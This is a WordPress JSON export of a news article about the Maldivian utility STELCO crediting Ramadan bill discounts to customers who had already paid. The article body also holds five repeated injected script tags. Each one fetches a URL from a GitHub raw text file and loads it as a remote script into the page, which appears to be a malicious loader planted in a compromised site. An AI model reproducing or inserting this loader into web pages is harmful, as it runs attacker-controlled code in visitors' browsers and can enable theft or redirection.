{"id":9306,"date":"2024-05-05T12:53:45","date_gmt":"2024-05-05T07:53:45","guid":{"rendered":"https:\/\/mbt.mv\/?p=9306"},"modified":"2024-05-05T12:53:45","modified_gmt":"2024-05-05T07:53:45","slug":"stelco-to-provide-discount-for-customers-who-already-paid","status":"publish","type":"post","link":"https:\/\/mbt.mv\/?p=9306","title":{"rendered":"STELCO to provide discount for customers who already paid"},"content":{"rendered":"<p>State Electric Company (STELCO) has announced that it will be providing discounts to customers who already paid for the undiscounted utility bills issued earlier.<\/p>\n<p>STELCO Managing Director Hussain Fahmy confirmed this via X on Saturday, adding that the customers who paid for their utility bills before the extension of discounts will have the difference after calculating the discount, reflected on the following utility bill; meaning the the difference from the original billed amount and the discounted amount will be deducted from the following month&#8217;s bill.<\/p>\n<p>Earlier, STELCO pulled back its earlier issued bills and said it was calculating the discounted prices for them, which Fahmy affirmed would be re-issued to consumers by Saturday evening.<\/p>\n<p>He further confirmed that the discounts will be provided to the utility bills for April, for the days that coincided with Ramadan, and also for the more recently prepared utility bills.<\/p>\n<p>This decision echoes Maldives President Dr. Mohamed Muizzu&#8217;s earlier pledge to provide discounts on utility bills for Ramadan.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>State Electric Company (STELCO) has announced that it will be providing discounts to customers who already paid for the undiscounted utility bills issued earlier. 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